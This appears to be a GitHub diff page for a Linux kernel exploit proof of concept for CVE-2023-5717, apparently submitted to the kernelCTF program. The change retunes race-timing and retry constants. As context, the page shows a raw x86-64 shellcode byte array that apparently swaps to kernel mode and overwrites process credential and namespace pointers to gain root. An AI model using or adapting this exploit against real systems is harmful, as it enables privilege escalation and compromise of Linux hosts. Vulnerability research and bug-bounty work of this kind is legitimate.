File tree 2 files changed +3
-6
lines changed
pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55
2 files changed +3
-6
lines changed Original file line number Diff line number Diff line change 29
29
#include <signal.h>
30
30
31
31
#define MIN 60000
32
- #define MAX 71000
33
-
34
- // #define MIN 79000
35
- // #define MAX 96000
32
+ #define MAX 72000
36
33
37
34
#define SIBLINGS_MAX 1024 // about 0x4000 ~
38
35
#define CPU_A 1 // main cpu
39
36
#define CPU_B 0
40
- #define MAX_TRY 1
41
- #define TRY_PER_ITER 1024
37
+ #define MAX_TRY 4096
38
+ #define TRY_PER_ITER 300
42
39
// TOTAL_ITER = MAX_TRY * TRY_PER_ITER
43
40
44
41
char shellcode [] = "\x0f\x01\xf8\x65\x4c\x8b\x24\x25\xc0\x0c\x02\x00\x4d\x8b\xb4\x24\x48\x02\x00\x00\x49\x81\xee\x30\xc0\x1e\x00\x4d\x89\xf0\x48\xc7\xc7\x01\x00\x00\x00\x4c\x89\xc0\x48\x05\x50\xde\x1b\x00\x41\x54\x41\x50\xff\xd0\x48\x89\xc3\x41\x58\x41\x5c\x4c\x89\xc0\x48\x05\x00\x69\xa7\x02\x48\x89\xc7\x48\x89\xbb\x38\x08\x00\x00\x49\x89\xbc\x24\x38\x08\x00\x00\x4c\x89\xc0\x48\x05\x40\x6b\xa7\x02\x48\x89\xc7\x49\x89\xbc\x24\xd8\x07\x00\x00\x0f\x01\xf8\x48\xcf" ;
You can’t perform that action at this time.
0 commit comments